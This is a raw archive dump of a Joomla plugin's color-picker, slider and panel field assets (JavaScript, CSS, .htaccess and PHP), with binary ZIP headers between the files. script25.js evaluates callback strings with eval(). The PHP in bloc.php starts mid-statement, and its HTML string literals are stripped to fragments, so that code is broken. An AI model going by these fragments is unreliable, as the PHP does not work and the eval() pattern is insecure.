27:hide();input.blur();break;}}).on('keyup.acolor','.acolor-input',function(event){var input=$(this);if(!input.data('acolor-initialized'))return;updateFromInput(input,true);}).on('paste.acolor','.acolor-input',function(event){var input=$(this);if(!input.data('acolor-initialized'))return;setTimeout(function(){updateFromInput(input,true);},1);});})(jQuery);PK>\)socialbuttons/fields/.htaccessnuW+A Order allow,deny Deny from all PK>\  socialbuttons/fields/color3.cssnuW+A/** * @package Donate * @subpackage mod_donate * @copyright Copyright (C) 2013 Elite Developers All rights reserved. * @license GNU/GPL v3 http://www.gnu.org/licenses/gpl.html */ /*Minified*/ .clearfix{*zoom:1}.clearfix:before,.clearfix:after{display:table;content:"";line-height:0}.clearfix:after{clear:both}.hide-text{font:0/0 a;color:transparent;text-shadow:none;background-color:transparent;border:0}.input-block-level{display:block;width:100%;min-height:30px;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.acolor{position:relative;display:inline-block;z-index:11}.acolor-focus{z-index:12}.acolor.acolor-theme-default .acolor-input{margin:0;margin-right:3px;border:solid 1px #CCC;font:14px sans-serif;width:192px;height:20px;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0;-webkit-box-shadow:inset 0 2px 4px rgba(0,0,0,.04);-moz-box-shadow:inset 0 2px 4px rgba(0,0,0,.04);box-shadow:inset 0 2px 4px rgba(0,0,0,.04);padding:2px;margin-right:-1px}.acolor-theme-default.acolor .acolor-input{vertical-align:middle;outline:0}.acolor-theme-default.acolor-swatch-left .acolor-input{margin-left:-1px;margin-right:auto}.acolor-theme-default.acolor-focus .acolor-input,.acolor-theme-default.acolor-focus .acolor-swatch{border-color:#999}.acolor-hidden{position:absolute;left:-9999em}.acolor-swatch{position:relative;width:24px;height:24px;text-align:left;background:url(colors.png) -80px 0;border:solid 1px #CCC;vertical-align:middle;display:inline-block}.acolor-swatch SPAN{position:absolute;width:100%;height:100%;background:0;-webkit-box-shadow:inset 0 9px 0 rgba(255,255,255,.1);-moz-box-shadow:inset 0 9px 0 rgba(255,255,255,.1);box-shadow:inset 0 9px 0 rgba(255,255,255,.1);display:inline-block}.acolor-panel{position:absolute;top:26px;left:0;width:173px;height:152px;background:white;border:solid 1px #CCC;-webkit-box-shadow:0 0 20px rgba(0,0,0,.2);-moz-box-shadow:0 0 20px rgba(0,0,0,.2);box-shadow:0 0 20px rgba(0,0,0,.2);display:none}.acolor-position-top .acolor-panel{top:-156px}.acolor-position-left .acolor-panel{left:-83px}.acolor-position-left.acolor-with-opacity .acolor-panel{left:-104px}.acolor-with-opacity .acolor-panel{width:194px}.acolor .acolor-grid{position:absolute;top:1px;left:1px;width:150px;height:150px;background:url(colors.png) -120px 0;cursor:crosshair}.acolor .acolor-grid-inner{position:absolute;top:0;left:0;width:150px;height:150px;background:0}.acolor-slider-saturation .acolor-grid{background-position:-420px 0}.acolor-slider-saturation .acolor-grid-inner{background:url(colors.png) -270px 0}.acolor-slider-brightness .acolor-grid{background-position:-570px 0}.acolor-slider-brightness .acolor-grid-inner{background:black}.acolor-slider-wheel .acolor-grid{background-position:-720px 0}.acolor-slider,.acolor-opacity-slider{position:absolute;top:1px;left:152px;width:20px;height:150px;background:#fff url(colors.png) 0 0;cursor:crosshair}.acolor-slider-saturation .acolor-slider{background-position:-60px 0}.acolor-slider-brightness .acolor-slider{background-position:-20px 0}.acolor-slider-wheel .acolor-slider{background-position:-20px 0}.acolor-opacity-slider{left:173px;background-position:-40px 0;display:none}.acolor-with-opacity .acolor-opacity-slider{display:block}.acolor-grid .acolor-picker{position:absolute;top:70px;left:70px;width:10px;height:10px;border:solid 1px black;-webkit-border-radius:10px;-moz-border-radius:10px;border-radius:10px;margin-top:-6px;margin-left:-6px;background:0}.acolor-grid .acolor-picker span{position:absolute;top:0;left:0;width:6px;height:6px;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;border:solid 2px white}.acolor-picker{position:absolute;top:0;left:0;width:18px;height:2px;background:white;border:solid 1px black;margin-top:-2px}.acolor-inline .acolor-input,.acolor-inline .acolor-swatch{display:none}.acolor-inline .acolor-panel{position:relative;top:auto;left:auto;display:inline-block}.acolor-theme-bootstrap .acolor-input{padding:4px 6px;padding-left:30px;background-color:white;border:1px solid #CCC;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;color:#555;font-family:Arial,'Helvetica Neue',Helvetica,sans-serif;font-size:14px;height:19px;margin:0;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);box-shadow:inset 0 1px 1px rgba(0,0,0,0.075)}.acolor-theme-bootstrap.acolor-focus .acolor-input{border-color:#6fb8f1;-webkit-box-shadow:0 0 10px #6fb8f1;-moz-box-shadow:0 0 10px #6fb8f1;box-shadow:0 0 10px #6fb8f1;outline:0}.acolor-theme-bootstrap .acolor-swatch{position:absolute;left:4px;top:4px;z-index:12}.acolor-theme-bootstrap.acolor-swatch-position-right .acolor-input{padding-left:6px;padding-right:30px}.acolor-theme-bootstrap.acolor-swatch-position-right .acolor-swatch{left:auto;right:4px}.acolor-theme-bootstrap .acolor-panel{top:28px;z-index:13}.acolor-theme-bootstrap.acolor-position-top .acolor-panel{top:-154px}.acolor-theme-bootstrap.acolor-position-left .acolor-panel{left:-63px}.acolor-theme-bootstrap.acolor-position-left.acolor-with-opacity .acolor-panel{left:-84px}PK>\F . . socialbuttons/fields/script25.jsnuW+A/** * @package Donate * @subpackage mod_donate * @copyright Copyright (C) 2013 Elite Developers All rights reserved. * @license GNU/GPL v3 http://www.gnu.org/licenses/gpl.html */ if (typeof( window['aScripts'] ) == "undefined") { var all_scripts = document.getElementsByTagName("script"); var a_script_root = all_scripts[all_scripts.length - 1].src.replace(/[^\/]*\.js$/, ''); window.addEvent('domready', function() { aScripts = new aScripts(); }); var aScripts = new Class({ initialize: function() { var self = this; var client = this._getClient(); this.overlay = new Element('div', { id: 'A_overlay', styles: { backgroundColor: 'black', position: 'fixed', left: 0, top: 0, width: '100%', height: '100%', zIndex: 5000 } }); if (client.isIE && !client.isIE7) { this.overlay.setStyle('position', 'absolute'); this.overlay.setStyle('height', this._getDocHeight() + 'px'); this._fixTop(); window.addEvent('scroll', function() { self._fixTop(); }); } this.overlay.fade('hide'); this.overlay_text = new Element('span', { id: 'A_overlay_text' }); this.overlay_text_dots = new Element('marquee', { id: 'A_overlay_text_dots', behavior: 'scroll', direction: 'right', styles: { display: 'inline-block', width: '30px', verticalAlign: 'baseline' } }).set('html', '...'); this.overlay_subtext = new Element('div', { id: 'A_overlay_subtext', styles: { color: '#CCCCCC', fontSize: '20px', fontStyle: 'italic' } }); this.overlay_text_container = new Element('div', { id: 'A_overlay_text_container', styles: { position: 'fixed', top: '40%', width: '100%', textAlign: 'center', color: '#FFFFFF', fontSize: '30px', fontFamily: 'Georgia, Times New Roman, serif', zIndex: 5001 } }).adopt(this.overlay_text).adopt(this.overlay_text_dots).adopt(this.overlay_subtext); this.overlay.adopt(this.overlay_text_container); this.overlay_close = new Element('div', { id: 'A_overlay_close', styles: { cursor: 'pointer', background: 'transparent url( ' + a_script_root + '../images/close.png) no-repeat center center', position: 'fixed', right: '5px', top: '5px', width: '64px', height: '64px', zIndex: 5002 } }).addEvent('click', function() { self.overlay.fade('out'); }); this.overlay.adopt(this.overlay_close); document.getElement('body').adopt(this.overlay); this.overlay.open = function(opacity, text, subtext) { if (!opacity) { self.overlay.close(); } else { self.overlay.setStyle('cursor', 'wait'); if (!text) { text = ''; } if (!subtext) { subtext = ''; } self.overlay_text.set('text', text); self.overlay_subtext.set('text', subtext); self.overlay.fade(opacity); } }; this.overlay.close = function() { self.overlay.fade('out'); ( function() { self.overlay.setStyle('cursor', ''); self.overlay_text.set('text', ''); self.overlay_subtext.set('text', ''); } ).delay(200); }; }, loadxml: function(url, succes, fail, query) { this.loadajax(url, succes, fail, query); }, loadajax: function(url, succes, fail, query, timeout) { if (url.substr(0, 9) != 'index.php') { url = url.replace('http://', ''); url = 'index.php?a_qp=1&url=' + escape(url); if (timeout) { url += '&timeout=' + timeout; } } var myXHR = new Request({ method: 'post', url: url, onSuccess: function(data) { if (succes) { eval(succes + ';'); } }, onFailure: function(data) { if (fail) { eval(fail + ';'); } } }).send(query); }, displayVersion: function(data, extension, version, is_pro) { if (!data) { return; } var xml = aScripts.getObjectFromXML(data); if (!xml) { return; } if (typeof(xml[extension]) == 'undefined') { return; } dat = xml[extension]; if (!dat || typeof(dat['version']) == 'undefined' || !dat['version']) { return; } var new_version = dat['version']; compare = aScripts.compareVersions(version, new_version); if (compare != '<') { return; } el = document.getElement('#nonumber_newversionnumber_' + extension); if (el) { el.set('text', new_version); } el = document.getElement('#nonumber_version_' + extension); if (el) { el.setStyle('display', 'block'); ( function() { $each(document.getElements('div.jpane-slider'), function(el) { if (el.getStyle('height') != '0px') { el.setStyle('height', 'auto'); } }); } ).delay(100); } }, displayVersionOld: function(data, ext) { if (!data) { return; } data = data.split('|'); var new_version = data[1]; var hasnew = data[2]; if (hasnew == 1) { el = document.getElement('#nonumber_newversionnumber_' + ext); if (el) { el.set('text', new_version); } el = document.getElement('#nonumber_version_' + ext); if (el) { el.setStyle('display', 'block'); ( function() { $each(document.getElements('div.jpane-slider'), function(el) { if (el.getStyle('height') != '0px') { el.setStyle('height', 'auto'); } }); } ).delay(100); } } }, displayLicense: function(ext, state) { if (!state) { state = 'fail'; } el = document.getElement('#nonumber_license_' + ext + '_' + state); if (el) { el.setStyle('display', 'block'); ( function() { $each(document.getElements('div.jpane-slider'), function(el) { if (el.getStyle('height') != '0px') { el.setStyle('height', 'auto'); } }); } ).delay(100); } }, toggleSelectListSelection: function(id) { var el = document.getElement('#' + id); if (el && el.options) { for (var i = 0; i < el.options.length; i++) { if (!el.options[i].disabled) { el.options[i].selected = !el.options[i].selected; } } } }, toggleSelectListSize: function(id) { var link = document.getElement('#toggle_' + id); var el = document.getElement('#' + id); if (link && el) { if (!el.getAttribute('rel')) { el.setAttribute('rel', el.getAttribute('size')); } if (el.getAttribute('size') == el.getAttribute('rel')) { el.setAttribute('size', ( el.length > 100 ) ? 100 : el.length); link.getElement('span.show').setStyle('display', 'none'); link.getElement('span.hide').setStyle('display', 'inline'); if (typeof( window['aSlide'] ) != "undefined") { aSlide.autoHeightDivs(); } } else { el.setAttribute('size', el.getAttribute('rel')); link.getElement('span.hide').setStyle('display', 'none'); link.getElement('span.show').setStyle('display', 'inline'); } } }, in_array: function(needle, haystack, casesensitive) { if ({}.toString.call(needle).slice(8, -1) != 'Array') { needle = [needle]; } if ({}.toString.call(haystack).slice(8, -1) != 'Array') { haystack = [haystack]; } for (var h = 0; h < haystack.length; h++) { for (var n = 0; n < needle.length; n++) { if (casesensitive) { if (haystack[h] == needle[n]) { return true; } } else { if (haystack[h].toLowerCase() == needle[n].toLowerCase()) { return true; } } } } return false; }, getObjectFromXML: function(data) { if (!data) { return; } var xml = null; if (window.DOMParser) { var parser = new DOMParser(); xml = parser.parseFromString(data, "text/xml"); } else { xml = new ActiveXObject('Microsoft.XMLDOM'); xml.async = 'false'; xml.loadXML(data); } var obj = []; for (var i = 0; i < xml.getElementsByTagName('extension').length; i++) { ext = xml.getElementsByTagName('extension')[i]; el = []; for (var j = 0; j < ext.childNodes.length; j++) { node = ext.childNodes[j]; if (node && node.firstChild) { el[node.nodeName] = String(node.firstChild.nodeValue).trim(); } } if (typeof(el.alias) !== 'undefined') { obj[el.alias] = el; } } return obj; }, compareVersions: function(num1, num2) { num1 = num1.split('.'); num2 = num2.split('.'); var let1 = ''; var let2 = ''; max = Math.max(num1.length, num2.length); for (var i = 0; i < max; i++) { if (typeof(num1[i]) == 'undefined') { num1[i] = '0'; } if (typeof(num2[i]) == 'undefined') { num2[i] = '0'; } let1 = num1[i].replace(/^[0-9]*(.*)/, '$1'); num1[i] = num1[i].toInt(); let2 = num2[i].replace(/^[0-9]*(.*)/, '$1'); num2[i] = num2[i].toInt(); if (num1[i] < num2[i]) { return '<'; } else if (num1[i] > num2[i]) { return '>'; } } if (let2 && (!let1 || let1 > let2)) { return '>'; } else if (let1 && (!let2 || let1 < let2 )) { return '<'; } else { return '='; } }, _getClient: function() { var ua = navigator.userAgent.toLowerCase(); return { isStrict: document.compatMode == "CSS1Compat", isOpera: ua.indexOf("opera") > -1, isIE: ua.indexOf("msie") > -1, isIE7: ua.indexOf("msie 7") > -1, isSafari: /webkit|khtml/.test(ua), isWindows: ua.indexOf("windows") != -1 || ua.indexOf("win32") != -1, isMac: ua.indexOf("macintosh") != -1 || ua.indexOf("mac os x") != -1, isLinux: ua.indexOf("linux") != -1 }; }, _getDocHeight: function() { var client = this._getClient(); var h = window.innerHeight; var mode = document.compatMode; if (( mode || client.isIE ) && !client.isOpera) { h = client.isStrict ? document.documentElement.clientHeight : document.body.clientHeight } return h; }, _fixTop: function() { this.overlay.style.top = document.documentElement.scrollTop + 'px'; }, setRadio: function(id, value) { value = value ? 1 : 0; document.getElements('input#jform_' + id + value + ',input#jform_params_' + id + value + ',input#advancedparams_' + id + value).each(function(el) { el.click(); }); }, setToggleTitleClass: function(input, value, parents) { el = document.getElement(input); for (i = 0; i <= parents; i++) { el = el.getParent(); } el = el.getElement('.a_panel_title'); el.removeClass('a_panel_include').removeClass('a_panel_exclude'); if (value === 2) { el.addClass('a_panel_exclude'); } else if (value) { el.addClass('a_panel_include'); } } }); window.addEvent('domready', function() { if (typeof( is_nn ) !== 'undefined') { AFrameworkAdjustCols(); } document.getElements('span.a_status').each(function(el) { var submenu = el.getElement('div.a_status_submenu'); if (submenu) { el.addEvent('mouseenter', function() { submenu.setStyle('top', el.getStyle('height').toInt() - 2).setStyle('display', 'block'); var el_pos = submenu.getPosition(); var diff = ( el_pos.x + submenu.getStyle('width').toInt() ) - window.getWidth(); if (diff > -10) { submenu.setStyle('left', submenu.getStyle('left').toInt() - diff - 10); } }); el.addEvent('mouseleave', function() { submenu.setStyle('display', 'none'); }); } }); if (document.getElement('#a_param_preloader')) { var preloader = document.getElement('#a_param_preloader'); var container = document.getElement('#a_param_preloader_container'); preloader.setStyle('visibility', 'hidden'); ( function() { container.innerHTML = ''; preloader.inject(container).setStyle('visibility', 'visible'); } ).delay(2000); } document.getElements('li').each(function(el) { if (el.innerHTML.trim() == '') { el.dispose(); } }); }); function AFrameworkAdjustCols() { document.getElements('div.width-60').each(function(el) { el.setStyle('width', '51%'); }); document.getElements('div#containerwrap div.width-60').each(function(el) { el.setStyle('width', '50%'); }); document.getElements('div.width-40').each(function(el) { el.setStyle('width', '49%'); }); document.getElements('.paramlist_key').each(function(el) { el.setStyle('width', 140).setStyle('vertical-align', 'top'); }); document.getElements('.paramlist_value').each(function(el) { if (el.getAttribute('colspan') == 2) { el.setStyle('width', 140); } }); } function AFrameworkHideTD(id) { var div = document.getElementById(id); div.parentNode.style.padding = 0; div.parentNode.style.height = 0; div.parentNode.style.border = 0; div.parentNode.parentNode.style.display = 'none'; } function AFrameworkChangeView(val) { document.getElementById('jform_view_state' + val).click(); document.getElementById('view_state_div').removeClass('view_state_0').removeClass('view_state_1').removeClass('view_state_2').addClass('view_state_' + val); } function AFrameworkCheckAll(checkbox, classname) { checkbox.checked = !( AFrameworkAllChecked(classname) ); document.getElements('input.' + classname).each(function(el) { el.checked = checkbox.checked; }); } function AFrameworkAllChecked(classname) { var allchecked = 1; document.getElements('input.' + classname).each(function(el) { if (!el.checked) { allchecked = 0; return 0; } }); return allchecked; } } PK>\L $socialbuttons/fields/slide25.jsnuW+A/** * @package Donate * @subpackage mod_donate * @copyright Copyright (C) 2013 Elite Developers All rights reserved. * @license GNU/GPL v3 http://www.gnu.org/licenses/gpl.html */ if (typeof( window['aSlide'] ) == "undefined") { window.addEvent('domready', function() { if (document.getElements('.aslide').length) { aSlide = new aSlide; } else { (function() { if (document.getElements('.aslide').length) { aSlide = new aSlide; } }).delay(2000); } }); var aSlide = new Class({ togglers: {}, elements: {}, initialize: function() { this.togglers = document.getElements('.aslide'); if (!this.togglers.length) { return; } aScripts.overlay.open(0.2); this.initTogglers(); }, initTogglers: function() { var self = this; var new_togglers = {}; $each(this.togglers, function(toggler) { toggler.setStyle('visibility', 'visible'); if (toggler.getParent().get('tag') == 'td') { toggler.getParent().setStyle('padding', '0'); } if (toggler.id) { toggler.elements = {}; toggler.fx = {}; toggler.nofx = toggler.hasClass('aslide_nofx'); toggler.mode = ( toggler.hasClass('aslide_horizontal') ) ? 'horizontal' : 'vertical'; toggler.method = ( toggler.hasClass('aslide_and') ) ? 'and' : 'or'; toggler.ids = toggler.id.split('___'); for (var i = 1; i < toggler.ids.length; i++) { keyval = toggler.ids[i].split('.'); key = keyval[0]; val = 1; if (keyval.length > 1) { val = keyval[1]; } if (typeof( toggler.elements[key] ) == "undefined") { toggler.elements[key] = []; } toggler.elements[key].include(val); if (typeof( self.elements[key] ) == "undefined") { self.elements[key] = {}; self.elements[key].elements = []; self.elements[key].values = []; self.elements[key].togglers = []; } self.elements[key].togglers.push(toggler.id); } new_togglers[toggler.id] = toggler; } }); this.togglers = new_togglers; new_togglers = null; $each(this.togglers, function(toggler) { if (toggler.nofx) { toggler.fx.slide = new Fx.Slide(toggler, { 'duration': 1, 'mode': toggler.mode, onComplete: function() { self.completeSlide(toggler); } }); } else { toggler.fx.slide = new Fx.Slide(toggler, { 'duration': 500, 'mode': toggler.mode, onStart: function() { self.startSlide(); }, onComplete: function() { self.completeSlide(toggler); } }); toggler.fx.fade = new Fx.Morph(toggler, { 'duration': 500 }); } }); this.setElements(); $each(this.togglers, function(toggler) { self.toggleByID(toggler.id, 1); }); ( function() { document.body.setStyle('cursor', ''); aScripts.overlay.close(); } ).delay(250); }, startSlide: function() { }, completeSlide: function(toggler) { toggler.getParent().setStyle('height', 'auto'); }, autoHeightDivs: function(toggler) { if (typeof( toggler ) == "undefined") { return; } var el = toggler.getParent(); while (typeof( el ) !== "undefined" && el && !el.hasClass('col') && !el.hasClass('fltrt')) { if (el.get('tag') == 'div' && el.getStyle('height') != 'auto' && el.getStyle('height') != '0px' && !el.hasClass('notoggle') && !el.hasClass('input') && !el.hasClass('a_hr') && !el.hasClass('textarea_handle') && el.id.indexOf('gk_') === -1 && el.className.indexOf('gk_') === -1 && el.className.indexOf('switcher-') === -1 ) { el.setStyle('height', 'auto'); } el = el.getParent(); } }, toggle: function(el_name) { this.setValues(el_name); for (var i = 0; i < this.elements[el_name].togglers.length; i++) { this.toggleByID(this.elements[el_name].togglers[i]); } }, toggleByID: function(id, nofx) { if (typeof( this.togglers[id] ) == "undefined") { return; } var toggler = this.togglers[id]; this.autoHeightDivs(toggler); var show = this.isShow(toggler); toggler.fx.slide.cancel(); if (nofx || toggler.nofx) { if (show) { toggler.fx.slide.show(); this.completeSlide(toggler); } else { toggler.fx.slide.hide(); } } else { toggler.fx.fade.cancel(); if (show) { toggler.fx.slide.slideIn(); ( function() { toggler.fx.fade.start({ 'opacity': 1 }) } ).delay(250); } else { toggler.fx.slide.slideOut(); toggler.fx.fade.start({ 'opacity': 0 }); } } }, isShow: function(toggler) { var show = ( toggler.method == 'and' ); for (el_name in toggler.elements) { var vals = toggler.elements[el_name]; var values = this.elements[el_name].values; if (values != null && values.length && ( ( vals == '*' && values != '' ) || aScripts.in_array(vals, values) )) { if (toggler.method == 'or') { show = 1; break; } } else { if (toggler.method == 'and') { show = 0; break; } } } return show; }, setValues: function(el_name) { var els = this.elements[el_name].elements; var values = []; $each(els, function(el) { switch (el.type) { case 'radio': case 'checkbox': if (el.checked) { values.push(el.value); } break; default: if (typeof( el.elements ) != "undefined" && el.elements.length > 1) { for (var i = 0; i < el.elements.length; i++) { if (el.checked) { values.push(el.value); } } } else { values.push(el.value); } break; } }); this.elements[el_name].values = values; }, setElements: function() { var self = this; $each(document.getElements('input, select'), function(el) { el_name = el.name.replace('@', '_').replace('[]', '').replace(/(?:jform\[params\]|jform|params|advancedparams)\[(.*?)\]/g, '\$1').trim(); if (el_name !== '') { if (typeof( self.elements[el_name]) != "undefined") { self.elements[el_name].elements.push(el); self.setValues(el_name); self.setElementEvents(el, el_name); } } }); }, setElementEvents: function(el, el_name) { var self = this; var type; if (typeof( el.type ) == "undefined") { if (el.get('tag') == 'select') { type = 'select'; } } else { type = el.type; } var func = function() { self.toggle(el_name); }; switch (type) { case 'radio': case 'checkbox': el.addEvent('click', func); el.addEvent('keyup', func); break; case 'select': case 'select-one': case 'text': el.addEvent('change', func); el.addEvent('keyup', func); break; default: el.addEvent('change', func); break; } } }); } PK>\D{]&]&socialbuttons/fields/bloc.phpnuW+Aparams = $this->element->attributes() ; $title = $this->def('label') ; $description = $this->def('description') ; $class = $this->def('class') ; $start = $this->def('start',0) ; $end = $this->def('end',0) ; $html = array() ; if (JV == 'j25') { $hastitle = ($title || $description) ; $document=JFactory::getDocument() ; $document->addStylesheet(JURI::root().'plugins/content/socialbuttons/fields/style25.css') ; $html = array() ; if ($start || !$end) { $html[] = $this->getTitleBlock($title, $description, $start) ; if ($start || !$hastitle) { $html[] = '
' ; } if ($start) { $html[] = '
  • ' ; } } if ($end || !$start) { if ($end) { $html[] = '
' ; } if ($end || !$hastitle) { $html[] = '
' ; $html[] = '
' ; } } $html = implode('', $html) ; } else {if($start || !$end){$html[]='' ; if(!(strpos($class,'alert')===false)){$html[]='
' ; }else{$html[]='
' ; }if($title){$html[]='

'.$title.'

' ; }if($description){$html[]='
'.$description.'
' ; }$html[]='
' ; }if(!$start && !$end){$html[]='
' ; }$html = '
'.implode('',$html) ; }return $html ; } private function getTitleBlock($title = '', $description = '', $start = 0) { $nostyle = $this->def('nostyle', 0) ; if ($description) { $v1 = JText::_($this->def('var1')) ; $v2 = JText::_($this->def('var2')) ; $v3 = JText::_($this->def('var3')) ; $v4 = JText::_($this->def('var4')) ; $v5 = JText::_($this->def('var5')) ; $description = trim(JText::sprintf($description, $v1, $v2, $v3, $v4, $v5)) ; $description = str_replace('span style="font-family:monospace ; "', 'span class="a_code"', $description) ; } $html = array() ; if ($title) { if ($nostyle) { $html[] = '
' ; } else { $class = 'a_panel a_panel_title' ; if ($start || $description) { $class .= ' a_panel_top' ; } $html[] = '
' ; } $html[] = $title ; $html[] = '
' ; $html[] = '
' ; } if ($description) { if ($nostyle) { $html[] = '
' ; } else { $class = 'a_panel a_panel_description' ; if ($start) { $class .= ' a_panel_top' ; } if ($title) { $class .= ' a_panel_hastitle' ; } $html[] = '
' ; } $html[] = $description ; $html[] = '
' ; $html[] = '
' ; } return implode('', $html) ; } private function def($val, $default = '') { return (isset($this->params[$val]) && (string) $this->params[$val] != '') ? (string) $this->params[$val] : $default ; } }class AText{public static function dateToDateFormat ($dateFormat){$caracs=array('%d'=>'d','%a'=>'D','%#d'=>'j','%A'=>'l','%u'=>'N','%w'=>'w','%j'=>'z','%V'=>'W','%B'=>'F','%m'=>'m','%b'=>'M','%G'=>'o','%Y'=>'Y','%y'=>'y','%P'=>'a','%p'=>'A','%l'=>'g','%I'=>'h','%H'=>'H','%M'=>'i','%S'=>'s','%z'=>'O','%Z'=>'T','%s'=>'U') ; return strtr((string) $dateFormat,$caracs) ; }public static function dateToStrftimeFormat($dateFormat){$caracs=array('d'=>'%d','D'=>'%a','jS'=>'%#d[TH]','j'=>'%#d','l'=>'%A','N'=>'%u','w'=>'%w','z'=>'%j','W'=>'%V','F'=>'%B','m'=>'%m','M'=>'%b','o'=>'%G','Y'=>'%Y','y'=>'%y','a'=>'%P','A'=>'%p','g'=>'%l','h'=>'%I','H'=>'%H','i'=>'%M','s'=>'%S','O'=>'%z','T'=>'%Z','U'=>'%s') ; return strtr((string) $dateFormat,$caracs) ; }public static function html_entity_decoder($given_html,$quote_style=ENT_QUOTES,$charset='UTF-8'){if(is_array($given_html)){foreach ($given_html as $i=>$html){$given_html[$i]=self::html_entity_decoder($html) ; }return $given_html ; }return html_entity_decode($given_html,$quote_style,$charset) ; }public static function cleanTitle($str,$striptags=0){$str=preg_replace('#<\!--.*?-->#s','',$str) ; if($striptags){$str=preg_replace('#]*>#usi','',$str) ; }return trim($str) ; }public static function prepareSelectItem($str,$published=1,$type='',$remove_first=0){$str=str_replace(array('  ; ','  ; '),' ',$str) ; $str=preg_replace('#- #',' ',$str) ; for ($i=0 ; $remove_first > $i ; $i++){$str=preg_replace('#^ #','',$str) ; }preg_match('#^( *)(.*)$#',$str,$match) ; list($str,$pre,$name)=$match ; $pre = preg_replace('# #', ' · ', $pre) ; $pre = preg_replace('#(( · )*) · #', '\1 » ', $pre) ; $pre = str_replace(' ', '  ; ', $pre) ; if ($type=='separator'){$pre='[[:font-weight:normal ; font-style:italic ; color:grey ; :]]'.$pre ; }else if (!$published){$pre='[[:font-style:italic ; color:grey ; :]]'.$pre ; $name=$name.' ['.JText::_('JUNPUBLISHED').']' ; }else if($published==2){$pre='[[:font-style:italic ; :]]'.$pre ; $name=$name.' ['.JText::_('JARCHIVED').']' ; }return $pre.$name ; }public static function strReplaceOnce($s,$r,$str){$r=str_replace(array('\\','$'),array('\\\\','\\$'),$r) ; return preg_replace('#'.preg_quote($s,'#').'#',$r,$str,1) ; }}class JFormFieldA_Color extends JFormField{public $type='Color' ; protected function getInput(){$field=new aFieldColor ; return $field->getInput($this->name, $this->id, $this->value, $this->element->attributes()) ; }}class aFieldColor{function getInput($name,$id,$value,$params){$this->name=$name ; $this->id=$id ; $this->value=$value ; $this->params=$params ; $class=trim('a_color acolors '.$this->def('class')) ; $disabled=$this->def('disabled')?' disabled="disabled"':'' ; $document=JFactory::getDocument() ; $document->addStylesheet(JURI::root().'plugins/content/socialbuttons/fields/color3.css') ; $document->addScript(JURI::root().'plugins/content/socialbuttons/fields/color3.js') ; $this->value=strtoupper(preg_replace('#[^a-z0-9]#si','',$this->value)) ; return'' ; }private function def($val,$default=''){return(isset($this->params[$val])&&(string)$this->params[$val]!='')?(string)$this->params[$val]:$default ; }}class JFormFieldA_Slide extends JFormField { public $type = 'Slide' ; protected function getLabel() { return '' ; } protected function getInput() {$field = new aFieldSlide ; return $field->getInput($this->element->attributes()) ; } } class aFieldSlide { function getInput($params) {$this->params = $params ; $option = JFactory::getApplication()->input->get('option') ; $param = $this->def('param') ; $value = $this->def('value') ; $nofx = $this->def('nofx') ; $horz = $this->def('horizontal') ; $method = $this->def('method') ; $div = $this->def('div', 0) ; if (JV == 'j25') {JHtml::_('behavior.mootools') ; $document=JFactory::getDocument() ; $document->addStylesheet(JURI::root().'plugins/content/socialbuttons/fields/style25.css') ; $document->addScript(JURI::root().'plugins/content/socialbuttons/fields/script25.js') ; $document->addScript(JURI::root().'plugins/content/socialbuttons/fields/slide25.js') ; $param = preg_replace('#^\s*(.*?)\s*$#', '\1', $param) ; $param = preg_replace('#\s*\|\s*#', '|', $param) ; $html = array() ; if ($param != '') { $param = preg_replace('#[^a-z0-9-\.\|\@]#', '_', $param) ; $param = str_replace('@', '_', $param) ; $set_groups = explode('|', $param) ; $set_values = explode('|', $value) ; $ids = array() ; foreach ($set_groups as $i => $group) { $count = $i ; if ($count >= count($set_values)) {$count = 0 ; } $value = explode(',', $set_values[$count]) ; foreach ($value as $val) { $ids[] = $group . '.' . $val ; } } if (!$div) {$html[] = '
  • ' ; } $html[] = '
    ' ; if (!$div) {$html[] = '
    • ' ; } } else { if (!$div) { $html[] = "\n" . '
    ' ; $html[] = '
    ' ; } $html[] = '
    ' ; } } else { $document=JFactory::getDocument() ; $document->addScript(JURI::root().'plugins/content/socialbuttons/fields/script3.js') ; $document->addScript(JURI::root().'plugins/content/socialbuttons/fields/slide3.js') ; $param=preg_replace('#^\s*(.*?)\s*$#','\1',$param) ; $param=preg_replace('#\s*\|\s*#','|',$param) ; $html=array() ; if($param != ''){$param=preg_replace('#[^a-z0-9-\.\|\@]#','_',$param) ; $param=str_replace('@','_',$param) ; $set_groups=explode('|',$param) ; $set_values=explode('|',$value) ; $ids=array() ; foreach($set_groups as $i => $group){$count=$i ; if($count >= count($set_values)){$count=0 ; }$value=explode(',',$set_values[$count]) ; foreach($value as $val){$ids[]=$group.'.'.$val ; }}if(!$div){$html[]='
  • ' ; }$html[]='
    ' ; if(!$div){$html[]='
    ' ; }}else{$html[]='
